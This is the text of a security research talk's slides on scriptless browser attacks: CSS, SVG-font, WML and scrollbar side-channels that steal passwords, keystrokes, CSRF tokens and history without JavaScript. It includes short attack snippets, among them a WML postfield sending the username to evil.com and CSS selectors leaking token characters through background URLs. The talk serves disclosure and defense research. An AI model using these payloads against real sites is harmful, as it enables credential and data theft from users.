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(Our Dear Speaker)

 Mario Heiderich
 Researcher and PhD Student, Ruhr-Uni Bochum

 PhD Thesis on Client Side Security and Defense

 Security Researcher contracting for MS, Redmond
 Security Researcher for SRLabs & Deutsche Post
 Published author and international speaker

 Specialized in HTML5 and SVG Security
 JavaScript, XSS and Client Side Attacks

 FUD Peddler and Prophet of Doom
 HTML5 Security Cheatsheet
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(Background)
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(CrosS)
(Site Scripting)

 Lots of Talks have been held

 Plenty of Research has been done
 Traditional injections
 Attacks from outer space
 XSS, XAS, XDS, XSSQLI, SWXSS, … you name it!
 Defense mechanisms on multiple layers
 Network, Server, Client and what not...

 CSP, NoScript, AntiSamy and HTMLPurifier, Browser XSS Filters
 mod_security, PHPIDS, some nonsense WAF products

 But why use scripting at all?



 

(got your nose)

(Topics TODAY)

 Scriptless Attacks in your Browser
 Attacks bypassing NoScript
 Attacks bypassing Content Security Policy
 No Scripting allowed
 No Scripting necessary

 Attacks working in Thunderbird
 Attacks stealing your data without XSS
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(Offensive Talk)

 We'll mainly see attack vectors today
 Starting simple – using cheap HTTP tricks
 Stealing passwords with CSS

 Almost like the Sexy Assassin back in 2009
 Just without any bruteforcing

 Playing with a user's perception
 Time and Measure, Log and Steal

 Focus is stealing data by using the browser
 Passwords, tokens, sensitive data is general
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(The )
(Markup  Brothers)

(SVG Sanchez) (HTML Harry) 
(Clive S Stylesheet)



 

(got your nose)

(A river for some)
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(Defense)

 Defense is possible but tough
 Benign features combined to be attacks
 No possibility to easily build signatures
 Attacker utilizes solicited content
 CSS, SVG images, Links and Images
 No scripting allowed!

 „Thanks for the injection!“
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(Happy Injections)
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(Exploits)

 Three Chapters to be presented

 Chapter 1: The simple tricks
 Chapter 2: Advanced Class
 Chapter 3: For Science!
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(Chapter one)

< Those simple Tricks >
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(Alice and the captcha)

 Let's assume the following situation
 Alice visits a website she frequently uses
 She has a login there, password stored

 Let's further assume her password is „secret“
 The site seems to have a new security feature!
 Now the login needs a CAPTCHA to be solved

 And that is how it looks like!
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(CAPCTHA Of doom)

 Seems legit?

 See it live: http://heideri.ch/opera/captcha/

http://heideri.ch/opera/captcha/
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(analysis)

 What really happens
 The attacker, Clive, injects CSS...

 input[type=password]{content:attr(value)}
 Then he includes a custom SVG font

 @font-face {font-family: X;src: url(x.svg#X) 
format("svg");}

 The attacker simply flips characters
 s becomes x, e becomes w, c becomes @ …

 By thinking it's a CAPTCHA...
 … Alice submits her password to the attacker
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(validation)
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(css and regex)

 Old but gold – brute-forcing passwords
 But this time with CSS3 and HTML5
 The secret ingredient here is „validation“
 Brute-force with RegEx!
 Let's have a look
 DEMO

 Good thing it works on all browsers
 Limited by smart password managers though

http://html5sec.org/invalid?start=0
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(Chapter TWO)

< Advanced Class >
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(I read you)

 Bob is security aware
 His online banking webite? No scripts allowed!
 His browser? Top-up-to-date!
 His emails? PGP, SMIME – you name it!

 Bob isolates stuff, knows his security
 Even if an attacker XSS'd his bank website...
 Nothing could happen – no JavaScript, Flash or Java

 How can we still pwn Bob then?
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(smart bob)
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(define goals)

 We cannot XSS Bob
 We cannot easily get his cookies
 Neither simply access sensitive data
 But we want his login data

 So we oughta „jack“ the login form!
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(WAP Injection)

 If Bob used Opera, we'd have a nice lever
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(Legit or not)

 Looked legit – or did it?
 So what happened here?

 Opera allows WAP/WML injections
 Thereby we can use WML variables

 <go href="//evil.com"><postfield 

    name="stolen" 

    value="$(username)"/>
 Limited though – XHTML only, Opera only
 Let's have a look: http://html5sec.org/login

http://html5sec.org/login
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(Lucky bob)

 He uses Firefox with NoScript
 ...and Thunderbird with Enigmail
 Unpwnable?
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Rebuttal

 Let's stay admantine
 And develop a targeted exploit
 Working on Firefox and Thunderbird
 Latest versions, bypassing NoScript

How can we do that?
 And can we do it at all?
 Let's have a look!
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(keylogger)

 Just a harmless login page

 Behaving strange on closer inspection though...
 Let's check that http://html5sec.org/keylogger

http://html5sec.org/keylogger
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(Leaving las vegas)

 If it works in Firefox w/o JavaScript
 Can it also work in...
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(thunderbird)

 Mother of God!
 Stealing and exfiltrating keystrokes
 Right in your favorite email client

 Demo time!

http://html5sec.org/test/#132
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(How is it done)

 Attacker injected some inline SVG code
 SVG knows the <set> element

 The <set> element can listen to events
 Even keystrokes
 The feature is called accessKey() (W3C)
 JavaScript is turned off – it's „no script“ anyway
 But the keystroke scope is hard to define

 In Firefox it's the whole document


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(thanks svg sanchez)

Now, what's next?








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(now wat is deese)
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(CSS history theft)

 CSS History stealing
 :visited gets a background

 Many more similar approaches

 So browsers limit :visited
 No resource loading
 No JavaScript API

 But SVG makes a difference
 DEMO

http://html5sec.org/history/test
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<lets take a breath>
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(Chapter three)

< For Science!!! >
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(CSRF Tokens)

 Everybody knows CSRF
 One domain makes a request to another
 The user is logged into that other domain
 Stuff happens, accounts get modified etc.

 How to we kill CSRF?
 Easily – we use tokens, nonces
 We make sure a request cannot be guessed
 Or brute-forced – good tokens are long and safe
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CSRF and XSS

 CSRF and XSS are good friends
 JavaScript can read tokens from the DOM
 Bypass most CSRF protection techniques

 But can we steal CSRF tokens w/o JS?



 

(got your nose)

(Already done)

 SDC, Gaz and thornmaker already did it

 Check out http://p42.us/css/

 They used CSS
 Basically a brute-force via attribute selectors

 input[value^=a]{background:url(?a)}
 If the server catches GET /?a...
 The first character is an a

 But then what?

 There's no „second or Nth character selector“

 They had to go input[value^=aa]{background:url(?aa)}

http://p42.us/css/
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(effectiveness)

 We're attackers who don't have much 
time!
 So we cannot bruteforce like that
 We need a quicker approach!
 Also, this time we want to attack Webkit :-)

 Let's cook ourselves some crazy CSS!
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(ingredients)

 Some links with a secret CSRF token
 A CSS injection

 height
 width
 content:attr(href)
 overflow-x:none
 font-family
 And another secret ingredient
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(DEMO)
 http://html5sec.org/webkit/test

http://html5sec.org/webkit/test
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(cooking meth)

 The secret ingredients
 Custom SVG font – one per character
 An animation – decreasing the box size
 The overflow to control scrollbar appearance
 And finally...

 Styled scrollbar elements – Webkit only

div.s::-webkit-scrollbar-track-piece       
:vertical:increment {background:red url(/s)}
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(those fonts)

 There's more we can do with custom fonts
 HTML5 recommends WOFF

 All done via @font-face

 WOFF supports an interesting feature
 Discretionary Ligatures
 Arbitrary character sequences can become one character

 Imagine.. C a t become a cat icon. Or... d e e r  a lil' deer
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(ligatures)

 http://ie.microsoft.com/testdrive/graphics/opentype/opentype-monotype/index.html

http://ie.microsoft.com/testdrive/graphics/opentype/opentype-monotype/index.html
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(fontforge)
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(Attack fonts)

 We can thus build dictionary fonts!
 One character per password for example

 No problem for a font to handle 100k+ items

 Map the string s u p e r s e c r e t into one char

 Make everything else invisible

 If the character is visible, we have a hit
 If not the password is not in the list/font

 But how to activate this ligature feature?

 With CSS3! -moz-font-feature-settings:'calt=0'; -ms-font-feature-
settings:'calt' 0;

 How can we find out if nothing – or just one char is visible? 
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(go CSS)
 Remember the smart scrollbars?

 Same thing all over again
 But this time for all browsers please

 CSS Media Queries to the rescue!
 We can deploy selective CSS depending on:

 Viewport width, viewport height

 @media screen and (max-width: 400px){*{foo:bar}}
 Every character gets a distinct width, and/or height
 Once scrollbars appear, the viewport width gets reduced
 By the width of the scrollbar
 Some Iframe tricks do the job and allow universal scrollbar 

detection

 That's all we need _:D
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{Demo}

DEMO

http://html5sec.org/scrollbar/test


 

(got your nose)

(the perfect leak)
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{Almost done}
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(CONCLUSION I)

Everything is a side-channel nowadays

(Oh my!)
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(Conclusion II)

 Scriptless Attacks versus XSS

 Not many differences in impact
 More common injcetion scenarios
 Affecting sandboxes with HTML5
 Information leaks by design

 Hard to detect and fix

 Timing and Side-Channel

 NoScript to the rescue!
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(defense)

 How to protect against features?
 How to protect against side-channels

 Reduce data leakage?
 Change standards?
 Build better sandboxes?
 Extend SOP to images and other side channels, 

 Use CSP?
 XFO and Framebusters ftw?
 Use NoScript if you can!
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(Future work)

 There's a lot more in this
 CSRF, injections and side-channels
 Challenging attacker creativity
 Application and App specific bugs
 Scriptless attacks and mobile devices?

 Exciting times to come without XSS
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(one more)

 Tired of tracking pixels?
 Want to know more about your users?

HTML5 allows user-tracking to the 
millisecond! Without JavaScript!

Even not exclusive to browsers!
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(Screenshot)
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(movietime)

 Try tracking videos!
 HTML5 <track> and subtitles of doom
 WebVTT and TTML do the trick
 Now in your browser, soon on your TV
 Works for video tracking – and website tracking
 MPAA probably loves it :)

 DEMO

http://html5sec.org/tracking/
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(The end)

 Questions?
 Discussion?
 Beer?
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